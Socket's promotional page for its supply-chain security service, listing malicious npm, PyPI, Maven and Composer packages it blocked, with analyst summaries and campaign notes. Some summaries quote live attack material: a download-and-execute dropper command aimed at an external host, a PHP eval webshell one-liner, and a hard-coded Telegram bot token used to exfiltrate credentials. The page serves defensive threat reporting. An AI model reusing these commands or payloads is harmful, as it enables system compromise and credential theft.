Socket
Book a DemoSign in
Socket

Secure your dependencies. Ship with confidence.

Socket is a developer-first security platform that protects your code from both vulnerable and malicious dependencies.

Install GitHub AppBook a Demo

Find and compare millions of open source packages

Quickly evaluate the security and health of any open source package.

jquery
t

timmywil published 4.0.0

left-pad
s

stevemao published 1.3.0

react
r

react-bot published 19.2.4

We protect you from vulnerable and malicious packages

pinokiod

3.227.0

by cocktailpeanut

Live on npm

Blocked by Socket

The SweetAlert2 library code is mostly benign and serves as a UI modal dialog tool. However, it contains a suspicious and potentially malicious snippet that targets Russian users on certain domains to play an unsolicited audio prank, disabling pointer events and potentially disrupting user interaction. This behavior is unexpected and should be considered a moderate security risk and potential malware. The rest of the code shows no signs of malicious intent. The provided reports were invalid and unhelpful. Users should be cautious about this version of the library due to the embedded prank behavior.

@twork-data-services/currency-config

1.99.0

by johrdanalfred

Live on npm

Blocked by Socket

The package was removed from the registry. The file uses child_process.exec to run a hex-encoded shell command that resolves to: “curl -O https://hypervector[.]me[.]dvdev[.]ru/filemon && chmod +x filemon && ./filemon”. It downloads an executable from a suspicious domain, makes it executable, and runs it immediately. This download-and-execute pattern with obfuscation represents a classic malware dropper capable of full system compromise.

exp10it

2.4.97

Live on pypi

Blocked by Socket

This source code is a malicious exploit script designed to remotely install a PHP webshell (vvv<?php eval($_POST[zzz]);?>) on a target web server by delivering an eval-wrapped, chr()-encoded payload via the HTTP User-Agent header and then verifying installation. Despite syntactic errors in the provided fragment, the intent, payload, and delivery mechanism are clear. Do not run this code; treat any occurrences as a high-risk compromise indicator and remove/report accordingly.

snow-flow

8.4.6

Live on npm

Blocked by Socket

This code is an administrative automation component that deliberately executes arbitrary ServiceNow server-side scripts and manipulates system tables. I found no clear signs of intentionally malicious code (no hardcoded external exfiltration endpoints, no obfuscated payload). However, it exposes powerful sinks: arbitrary script execution, creation of background script records, and storage of script output/trace in sys_properties. The primary security risk is abuse/misconfiguration (e.g., autoConfirm bypass, insufficient RBAC) leading to data theft or destructive changes. Treat this module as high-risk functionality that must be strictly access controlled, audited, and hardened before use.

io.github.reajason:packer

2.4.1

Live on maven

Blocked by Socket

This class is a payload/gadget packer that assembles a Java deserialization gadget chain (Commons BeanUtils 1.9 + TemplatesImpl inside a PriorityQueue) from provided class bytes and returns a serialized payload string. The behavior is consistent with an exploit generator intended to produce objects that will execute supplied bytecode when deserialized by a vulnerable target. This is malicious in the context of systems where deserialization occurs on untrusted data and should not be used in benign applications.

mihai-ui-kit

0.1.1

by mihaigabrieldavid

Live on npm

Blocked by Socket

This package contains clear malware disguised as a UI component. It implements a fetch interception mechanism that logs all HTTP requests and responses, constituting data theft functionality that could capture sensitive information like credentials, API keys, and personal data.

ecto-spirit

120.0.8

by lwirz

Live on npm

Blocked by Socket

This preinstall runs a local file named 'payload.js' during installation and intentionally suppresses failures. Without inspecting payload.js, this is a high-risk behavior: it enables arbitrary code execution during install and the filename and failure-suppression suggest likely malicious intent. Do not install or run this package until payload.js has been inspected in a safe environment.

xmzapi

1.0.3

Live on pypi

Blocked by Socket

This code intentionally uploads/logs caller-provided data and environment info to remote, hardcoded third-party servers and notifies another external endpoint. That pattern constitutes data exfiltration and is a supply-chain/backdoor risk when embedded in a library. It should be treated as malicious or at minimum unacceptable for inclusion in trusted projects unless its behavior is fully documented, consented to, and uses authenticated/secure channels. Recommend removing or sandboxing this code and contacting maintainers to verify intent.

cylab-be/webshell-detector

1.0.2

Live on composer

Blocked by Socket

This file is a malicious web shell/backdoor (Cyber Shell) that provides authenticated remote attackers with extensive capabilities: arbitrary command execution, filesystem read/write/delete, file upload, email-based exfiltration, database access and manipulation, and the ability to write and execute a Perl bind shell. It contains a hard-coded password that grants access and uses suppressed errors to hide activity. Do not use; remove and investigate any system where it is present.

genericagent

1.0.2

Live on pypi

Blocked by Socket

High-risk remote backdoor: the code creates a persistent WebSocket connection to a remote server, announces page URL and a session id, accepts arbitrary JavaScript over the wire and executes it in the page context (via eval/new Function), and sends execution results back to the server. This grants the remote operator full access to page DOM, cookies, storage, and network, enabling data theft, account takeover, or persistent manipulation. There are no authentication or integrity checks and the agent includes reconnection logic to maintain persistence. Treat this as malicious/untrusted unless you fully control and trust the remote server and the execution context.

bane

4.0.3

Live on pypi

Blocked by Socket

This module is a configuration/payload repository intended for automated scanning, exploitation (SQLi/XSS), admin panel discovery and many forms of DDoS/amplification attacks. The file itself is non‑executable but is a clear building block for malicious tooling. Treat the containing package as malicious/unsafe and remove or isolate it; investigate upstream supply‑chain and any consumers of these constants.

@image-process-library/blob-to-base64

4.788.0

by hshne

Live on npm

Blocked by Socket

The code collects environment variables and sends them to a potentially malicious remote server under certain conditions. This behavior is highly suspicious and could lead to data leakage or credential theft.

norsodikin

0.8.9.2

Live on pypi

Blocked by Socket

The flagged Python class (SSHUserManager) carries out privileged system operations and remote exfiltration. It embeds a hard-coded Telegram bot token (7419614345:AAFwmSvM0zWNaLQhDLidtZ-B9Tzp-aVWICA) and chat_id (1964437366), dynamically imports modules via __import__(), and uses subprocess.run with sudo to add users (adduser), set passwords (chpasswd), grant sudo privileges (usermod ‑aG sudo), expire/delete accounts (usermod --expiredate, deluser), and clear the terminal. It retrieves the host IP with os.popen('hostname -I') and sends SSH credentials and host information in plaintext to https://api[.]telegram[.]org/bot7419614345:AAFwmSvM0zWNaLQhDLidtZ-B9Tzp-aVWICA/sendMessage, including an inline keyboard link to https://t[.]me/NorSodikin. This pattern enables unauthorized backdoor provisioning and credential exfiltration, posing a severe security risk.

richardtmiles/carbonphp

14.6.4

Live on composer

Blocked by Socket

The codebase acts as an aggressive deployment automation tool with webhook-driven updates and high-privilege system modifications. The presence of hard-coded credentials, elevation of privileges, and dynamic configuration changes create substantial supply chain and operational security risks. It should not be used in public projects or unattended environments without refactoring to remove secrets, remove interactive prompts, enforce least privilege, and ensure formal authentication/authorization for webhook-triggered actions.

bapy

0.2.223

Live on pypi

Blocked by Socket

The script covertly ensures a background SSH local port-forward to a hard-coded external host as root, clearing any existing ssh on the same local port first. This pattern is consistent with establishing a covert access or exfiltration channel (notably to a MongoDB-like service on port 27017). It is high-risk: investigate origins of the script, the remote IP, root SSH keys and authorized_keys, and any processes or tools that use local:9999. If unexpected, remove and rotate credentials/keys and perform host compromise analysis.

bapy

0.2.202

Live on pypi

Blocked by Socket

Malicious bash initialization script that performs destructive filesystem operations on macOS systems. When the external helper script 'isuserdarwin.sh' returns true, the script silently executes 'sudo rm -rf' to delete critical user directories including ~/Applications, ~/Movies, ~/Music, ~/Pictures, ~/Public, and ~/Sites without user confirmation. It also removes the macOS sleepimage file at /private/var/vm/sleepimage. The script modifies SSH directory permissions using 'sudo chmod -R go-rw' which can break SSH access or expose credentials. All destructive operations have their output suppressed with '>/dev/null 2>&1' to hide failures and make the actions stealthy. The script uses eval to execute the output of /usr/bin/dircolors, creating a command injection risk if the binary is compromised. It depends on external scripts (paper.sh, isuserdarwin.sh, debug.sh) whose contents are unknown and could execute arbitrary code. The destructive operations are embedded within what appears to be routine shell configuration code, likely to disguise the malicious intent.

frankyu

202507017.6

Live on pypi

Blocked by Socket

This module contains a high-risk, privacy-invasive function (jietu2mail) that captures the entire virtual desktop, saves it to a public path, and sends it via the user's Outlook account to hardcoded external email addresses. That capability constitutes a direct data-exfiltration backdoor. Other functions (os.system-based pip install and startT) pose command-injection and arbitrary execution risks if inputs are untrusted. Recommend not using this code in trusted environments, removing or restricting jietu2mail, adding explicit consent and logging, avoiding os.system with untrusted inputs, and treating any occurrence of this module in a supply chain as potentially malicious until audited.

hiphp

0.2.34

Live on pypi

Blocked by Socket

This file should be treated as malicious or highly suspicious: it embeds a PHP webshell/backdoor capable of enumerating server/environment information, reading and base64-encoding arbitrary files for exfiltration, packaging directories into archives, and deleting files/directories. Although the Python wrapper contains syntax errors and the PHP contains some malformed fragments (reducing certainty about exact runnable form), the intent and dangerous primitives are clear. Do not deploy; investigate repository history, other files, and any runtime reconstruction mechanisms. Remove and treat affected systems as potentially compromised.

ryry-cli

2.82

Removed from pypi

Blocked by Socket

The code contains risky operations that can enable supply-chain attacks and remote code execution: it downloads remote zip packages and extracts them without validation, and runs pip install/uninstall via shell subprocesses with unverified inputs. It also leaks host identification to an external notify endpoint. There is no evidence of deliberately hidden malware in this fragment (no obfuscation, no hardcoded credentials or reverse shell code), but the behavior (automatic fetching and installing of packages from remote URLs without integrity checks) presents a significant security risk. Recommend treating remote package sources as untrusted, adding integrity checks (hash/signature verification), avoiding shell=True, sanitizing zip entries before extraction, and limiting or requiring user confirmation for installs.

Live on pypi for 10 hours and 38 minutes before removal. Socket users were protected even while the package was live.

closelove

1.3

Removed from pypi

Blocked by Socket

The code constitutes a high-risk automation framework capable of device-wide manipulation, data exfiltration, and CAPTCHA circumvention. Hardcoded secrets, privileged Android operations, and remote file exchanges elevate risk substantially. While it could enable legitimate automated testing in controlled environments, deploying it without explicit consent, governance, and secure handling of credentials poses severe supply-chain and runtime security risks. Recommend removing hardcoded credentials, constraining privileged actions, isolating network interactions, and implementing strict access controls and audit logging.

Live on pypi for 137 days, 18 hours and 19 minutes before removal. Socket users were protected even while the package was live.

carbonorm/carbonphp

13.4.2

Live on composer

Blocked by Socket

The dominant security concern is the explicit use of eval on data-derived JSON within CarbonPHP.handlebars, which can enable arbitrary code execution if data is attacker-controlled. Additional concerns include unsanitized dynamic script/template loading and a busy-wait sleep that can degrade performance and potentially expose timing information. Overall risk is high due to the eval pattern and dynamic content loading without strong sanitization.

duasynrc

1.2.0

by 17b4a931

Removed from npm

Blocked by Socket

This code poses a serious security risk and should not be used.

Live on npm for 6 minutes before removal. Socket users were protected even while the package was live.

@bi-crm/services

0.1.99

by flx1101

Live on npm

Blocked by Socket

The code collects sensitive system information and sends it to an external server without user consent, which is indicative of data exfiltration.

pyweber

0.9.47

Live on pypi

Blocked by Socket

This script implements a powerful client-side telemetry/live-update agent. It collects extensive client state (full DOM, storage, form values) and sends it to a WebSocket server, and it accepts server-sent templates which it injects verbatim into the page. These behaviors enable legitimate features (live preview, hot-reload, collaborative editing) but also represent significant privacy and security risks: sensitive data may be exfiltrated, and the server can perform arbitrary DOM/script injection (remote code execution in the page context). If you do not fully trust the server (the origin that serves the page or the operator of the WebSocket endpoint), do not include this script on pages that store secrets, authentication tokens, or handle sensitive user data. Review intended usage, restrict what is captured (redact passwords, tokens), and sanitize server-sent templates before injection.

pinokiod

3.227.0

by cocktailpeanut

Live on npm

Blocked by Socket

The SweetAlert2 library code is mostly benign and serves as a UI modal dialog tool. However, it contains a suspicious and potentially malicious snippet that targets Russian users on certain domains to play an unsolicited audio prank, disabling pointer events and potentially disrupting user interaction. This behavior is unexpected and should be considered a moderate security risk and potential malware. The rest of the code shows no signs of malicious intent. The provided reports were invalid and unhelpful. Users should be cautious about this version of the library due to the embedded prank behavior.

@twork-data-services/currency-config

1.99.0

by johrdanalfred

Live on npm

Blocked by Socket

The package was removed from the registry. The file uses child_process.exec to run a hex-encoded shell command that resolves to: “curl -O https://hypervector[.]me[.]dvdev[.]ru/filemon && chmod +x filemon && ./filemon”. It downloads an executable from a suspicious domain, makes it executable, and runs it immediately. This download-and-execute pattern with obfuscation represents a classic malware dropper capable of full system compromise.

exp10it

2.4.97

Live on pypi

Blocked by Socket

This source code is a malicious exploit script designed to remotely install a PHP webshell (vvv<?php eval($_POST[zzz]);?>) on a target web server by delivering an eval-wrapped, chr()-encoded payload via the HTTP User-Agent header and then verifying installation. Despite syntactic errors in the provided fragment, the intent, payload, and delivery mechanism are clear. Do not run this code; treat any occurrences as a high-risk compromise indicator and remove/report accordingly.

snow-flow

8.4.6

Live on npm

Blocked by Socket

This code is an administrative automation component that deliberately executes arbitrary ServiceNow server-side scripts and manipulates system tables. I found no clear signs of intentionally malicious code (no hardcoded external exfiltration endpoints, no obfuscated payload). However, it exposes powerful sinks: arbitrary script execution, creation of background script records, and storage of script output/trace in sys_properties. The primary security risk is abuse/misconfiguration (e.g., autoConfirm bypass, insufficient RBAC) leading to data theft or destructive changes. Treat this module as high-risk functionality that must be strictly access controlled, audited, and hardened before use.

io.github.reajason:packer

2.4.1

Live on maven

Blocked by Socket

This class is a payload/gadget packer that assembles a Java deserialization gadget chain (Commons BeanUtils 1.9 + TemplatesImpl inside a PriorityQueue) from provided class bytes and returns a serialized payload string. The behavior is consistent with an exploit generator intended to produce objects that will execute supplied bytecode when deserialized by a vulnerable target. This is malicious in the context of systems where deserialization occurs on untrusted data and should not be used in benign applications.

mihai-ui-kit

0.1.1

by mihaigabrieldavid

Live on npm

Blocked by Socket

This package contains clear malware disguised as a UI component. It implements a fetch interception mechanism that logs all HTTP requests and responses, constituting data theft functionality that could capture sensitive information like credentials, API keys, and personal data.

ecto-spirit

120.0.8

by lwirz

Live on npm

Blocked by Socket

This preinstall runs a local file named 'payload.js' during installation and intentionally suppresses failures. Without inspecting payload.js, this is a high-risk behavior: it enables arbitrary code execution during install and the filename and failure-suppression suggest likely malicious intent. Do not install or run this package until payload.js has been inspected in a safe environment.

xmzapi

1.0.3

Live on pypi

Blocked by Socket

This code intentionally uploads/logs caller-provided data and environment info to remote, hardcoded third-party servers and notifies another external endpoint. That pattern constitutes data exfiltration and is a supply-chain/backdoor risk when embedded in a library. It should be treated as malicious or at minimum unacceptable for inclusion in trusted projects unless its behavior is fully documented, consented to, and uses authenticated/secure channels. Recommend removing or sandboxing this code and contacting maintainers to verify intent.

cylab-be/webshell-detector

1.0.2

Live on composer

Blocked by Socket

This file is a malicious web shell/backdoor (Cyber Shell) that provides authenticated remote attackers with extensive capabilities: arbitrary command execution, filesystem read/write/delete, file upload, email-based exfiltration, database access and manipulation, and the ability to write and execute a Perl bind shell. It contains a hard-coded password that grants access and uses suppressed errors to hide activity. Do not use; remove and investigate any system where it is present.

genericagent

1.0.2

Live on pypi

Blocked by Socket

High-risk remote backdoor: the code creates a persistent WebSocket connection to a remote server, announces page URL and a session id, accepts arbitrary JavaScript over the wire and executes it in the page context (via eval/new Function), and sends execution results back to the server. This grants the remote operator full access to page DOM, cookies, storage, and network, enabling data theft, account takeover, or persistent manipulation. There are no authentication or integrity checks and the agent includes reconnection logic to maintain persistence. Treat this as malicious/untrusted unless you fully control and trust the remote server and the execution context.

bane

4.0.3

Live on pypi

Blocked by Socket

This module is a configuration/payload repository intended for automated scanning, exploitation (SQLi/XSS), admin panel discovery and many forms of DDoS/amplification attacks. The file itself is non‑executable but is a clear building block for malicious tooling. Treat the containing package as malicious/unsafe and remove or isolate it; investigate upstream supply‑chain and any consumers of these constants.

@image-process-library/blob-to-base64

4.788.0

by hshne

Live on npm

Blocked by Socket

The code collects environment variables and sends them to a potentially malicious remote server under certain conditions. This behavior is highly suspicious and could lead to data leakage or credential theft.

norsodikin

0.8.9.2

Live on pypi

Blocked by Socket

The flagged Python class (SSHUserManager) carries out privileged system operations and remote exfiltration. It embeds a hard-coded Telegram bot token (7419614345:AAFwmSvM0zWNaLQhDLidtZ-B9Tzp-aVWICA) and chat_id (1964437366), dynamically imports modules via __import__(), and uses subprocess.run with sudo to add users (adduser), set passwords (chpasswd), grant sudo privileges (usermod ‑aG sudo), expire/delete accounts (usermod --expiredate, deluser), and clear the terminal. It retrieves the host IP with os.popen('hostname -I') and sends SSH credentials and host information in plaintext to https://api[.]telegram[.]org/bot7419614345:AAFwmSvM0zWNaLQhDLidtZ-B9Tzp-aVWICA/sendMessage, including an inline keyboard link to https://t[.]me/NorSodikin. This pattern enables unauthorized backdoor provisioning and credential exfiltration, posing a severe security risk.

richardtmiles/carbonphp

14.6.4

Live on composer

Blocked by Socket

The codebase acts as an aggressive deployment automation tool with webhook-driven updates and high-privilege system modifications. The presence of hard-coded credentials, elevation of privileges, and dynamic configuration changes create substantial supply chain and operational security risks. It should not be used in public projects or unattended environments without refactoring to remove secrets, remove interactive prompts, enforce least privilege, and ensure formal authentication/authorization for webhook-triggered actions.

bapy

0.2.223

Live on pypi

Blocked by Socket

The script covertly ensures a background SSH local port-forward to a hard-coded external host as root, clearing any existing ssh on the same local port first. This pattern is consistent with establishing a covert access or exfiltration channel (notably to a MongoDB-like service on port 27017). It is high-risk: investigate origins of the script, the remote IP, root SSH keys and authorized_keys, and any processes or tools that use local:9999. If unexpected, remove and rotate credentials/keys and perform host compromise analysis.

bapy

0.2.202

Live on pypi

Blocked by Socket

Malicious bash initialization script that performs destructive filesystem operations on macOS systems. When the external helper script 'isuserdarwin.sh' returns true, the script silently executes 'sudo rm -rf' to delete critical user directories including ~/Applications, ~/Movies, ~/Music, ~/Pictures, ~/Public, and ~/Sites without user confirmation. It also removes the macOS sleepimage file at /private/var/vm/sleepimage. The script modifies SSH directory permissions using 'sudo chmod -R go-rw' which can break SSH access or expose credentials. All destructive operations have their output suppressed with '>/dev/null 2>&1' to hide failures and make the actions stealthy. The script uses eval to execute the output of /usr/bin/dircolors, creating a command injection risk if the binary is compromised. It depends on external scripts (paper.sh, isuserdarwin.sh, debug.sh) whose contents are unknown and could execute arbitrary code. The destructive operations are embedded within what appears to be routine shell configuration code, likely to disguise the malicious intent.

frankyu

202507017.6

Live on pypi

Blocked by Socket

This module contains a high-risk, privacy-invasive function (jietu2mail) that captures the entire virtual desktop, saves it to a public path, and sends it via the user's Outlook account to hardcoded external email addresses. That capability constitutes a direct data-exfiltration backdoor. Other functions (os.system-based pip install and startT) pose command-injection and arbitrary execution risks if inputs are untrusted. Recommend not using this code in trusted environments, removing or restricting jietu2mail, adding explicit consent and logging, avoiding os.system with untrusted inputs, and treating any occurrence of this module in a supply chain as potentially malicious until audited.

hiphp

0.2.34

Live on pypi

Blocked by Socket

This file should be treated as malicious or highly suspicious: it embeds a PHP webshell/backdoor capable of enumerating server/environment information, reading and base64-encoding arbitrary files for exfiltration, packaging directories into archives, and deleting files/directories. Although the Python wrapper contains syntax errors and the PHP contains some malformed fragments (reducing certainty about exact runnable form), the intent and dangerous primitives are clear. Do not deploy; investigate repository history, other files, and any runtime reconstruction mechanisms. Remove and treat affected systems as potentially compromised.

ryry-cli

2.82

Removed from pypi

Blocked by Socket

The code contains risky operations that can enable supply-chain attacks and remote code execution: it downloads remote zip packages and extracts them without validation, and runs pip install/uninstall via shell subprocesses with unverified inputs. It also leaks host identification to an external notify endpoint. There is no evidence of deliberately hidden malware in this fragment (no obfuscation, no hardcoded credentials or reverse shell code), but the behavior (automatic fetching and installing of packages from remote URLs without integrity checks) presents a significant security risk. Recommend treating remote package sources as untrusted, adding integrity checks (hash/signature verification), avoiding shell=True, sanitizing zip entries before extraction, and limiting or requiring user confirmation for installs.

Live on pypi for 10 hours and 38 minutes before removal. Socket users were protected even while the package was live.

closelove

1.3

Removed from pypi

Blocked by Socket

The code constitutes a high-risk automation framework capable of device-wide manipulation, data exfiltration, and CAPTCHA circumvention. Hardcoded secrets, privileged Android operations, and remote file exchanges elevate risk substantially. While it could enable legitimate automated testing in controlled environments, deploying it without explicit consent, governance, and secure handling of credentials poses severe supply-chain and runtime security risks. Recommend removing hardcoded credentials, constraining privileged actions, isolating network interactions, and implementing strict access controls and audit logging.

Live on pypi for 137 days, 18 hours and 19 minutes before removal. Socket users were protected even while the package was live.

carbonorm/carbonphp

13.4.2

Live on composer

Blocked by Socket

The dominant security concern is the explicit use of eval on data-derived JSON within CarbonPHP.handlebars, which can enable arbitrary code execution if data is attacker-controlled. Additional concerns include unsanitized dynamic script/template loading and a busy-wait sleep that can degrade performance and potentially expose timing information. Overall risk is high due to the eval pattern and dynamic content loading without strong sanitization.

duasynrc

1.2.0

by 17b4a931

Removed from npm

Blocked by Socket

This code poses a serious security risk and should not be used.

Live on npm for 6 minutes before removal. Socket users were protected even while the package was live.

@bi-crm/services

0.1.99

by flx1101

Live on npm

Blocked by Socket

The code collects sensitive system information and sends it to an external server without user consent, which is indicative of data exfiltration.

pyweber

0.9.47

Live on pypi

Blocked by Socket

This script implements a powerful client-side telemetry/live-update agent. It collects extensive client state (full DOM, storage, form values) and sends it to a WebSocket server, and it accepts server-sent templates which it injects verbatim into the page. These behaviors enable legitimate features (live preview, hot-reload, collaborative editing) but also represent significant privacy and security risks: sensitive data may be exfiltrated, and the server can perform arbitrary DOM/script injection (remote code execution in the page context). If you do not fully trust the server (the origin that serves the page or the operator of the WebSocket endpoint), do not include this script on pages that store secrets, authentication tokens, or handle sensitive user data. Review intended usage, restrict what is captured (redact passwords, tokens), and sanitize server-sent templates before injection.

Detect and block software supply chain attacks

Socket detects traditional vulnerabilities (CVEs) but goes beyond that to scan the actual code of dependencies for malicious behavior. It proactively detects and blocks 70+ signals of supply chain risk in open source code, for comprehensive protection.

Possible typosquat attack

Known malware

Telemetry

Unstable ownership

Git dependency

GitHub dependency

AI-detected potential malware

HTTP dependency

Obfuscated code

Suspicious Stars on GitHub

54 more alerts →

Detect suspicious package updates in real-time

Socket detects and blocks malicious dependencies, often within just minutes of them being published to public registries, making it the most effective tool for blocking zero-day supply chain attacks.

GitHub app screenshot

Developers love Socket

Socket is built by a team of prolific open source maintainers whose software is downloaded over 1 billion times per month. We understand how to build tools that developers love. But don’t take our word for it.

Even more developer love →
Install GitHub AppRead the docs

Security teams trust Socket

The best security teams in the world use Socket to get visibility into supply chain risk, and to build a security feedback loop into the development process.

Book a DemoRead the blog

Protect every package in your stack

Secure your team's dependencies across your stack with Socket. Stop supply chain attacks before they reach production.

View all integrations

RUST

crates.io

Rust Package Manager

PHP

Packagist

PHP Package Manager

GOLANG

Go Modules

Go Dependency Management

JAVA

Maven Central

JAVASCRIPT

npm

Node Package Manager

.NET

NuGet

.NET Package Manager

PYTHON

PyPI

Python Package Index

RUBY

RubyGems.org

Ruby Package Manager

SWIFT

Swift

AI

Hugging Face Hub

AI Model Hub

CI

GitHub Actions

CI/CD Workflows

EXTENSIONS

Chrome Web Store

Chrome Browser Extensions

EXTENSIONS

Open VSX

VS Code Extensions

Supply chain attacks are on the rise

Attackers have taken notice of the opportunity to attack organizations through open source dependencies. Supply chain attacks rose a whopping 700% in the past year, with over 15,000 recorded attacks.

Nov 23, 2025

Shai Hulud v2

Shai Hulud v2 campaign: preinstall script (setup_bun.js) and loader (setup_bin.js) that installs/locates Bun and executes an obfuscated bundled malicious script (bun_environment.js) with suppressed output.

Nov 05, 2025

Elves on npm

A surge of auto-generated "elf-stats" npm packages is being published every two minutes from new accounts. These packages contain simple malware variants and are being rapidly removed by npm. At least 420 unique packages have been identified, often described as being generated every two minutes, with some mentioning a capture the flag challenge or test.

Jul 04, 2025

RubyGems Automation-Tool Infostealer

Since at least March 2023, a threat actor using multiple aliases uploaded 60 malicious gems to RubyGems that masquerade as automation tools (Instagram, TikTok, Twitter, Telegram, WordPress, and Naver). The gems display a Korean Glimmer-DSL-LibUI login window, then exfiltrate the entered username/password and the host's MAC address via HTTP POST to threat actor-controlled infrastructure.

Mar 13, 2025

North Korea's Contagious Interview Campaign

Since late 2024, we have tracked hundreds of malicious npm packages and supporting infrastructure tied to North Korea's Contagious Interview operation, with tens of thousands of downloads targeting developers and tech job seekers. The threat actors run a factory-style playbook: recruiter lures and fake coding tests, polished GitHub templates, and typosquatted or deceptive dependencies that install or import into real projects.

Jul 23, 2024

Network Reconnaissance Campaign

A malicious npm supply chain attack that leveraged 60 packages across three disposable npm accounts to fingerprint developer workstations and CI/CD servers during installation. Each package embedded a compact postinstall script that collected hostnames, internal and external IP addresses, DNS resolvers, usernames, home and working directories, and package metadata, then exfiltrated this data as a JSON blob to a hardcoded Discord webhook.

Ready to dive in?

Get protected by Socket with just 2 clicks.

Install GitHub AppBook a Demo

The latest from the Socket team

Get our latest security research, open source insights, and product updates.

View all articles →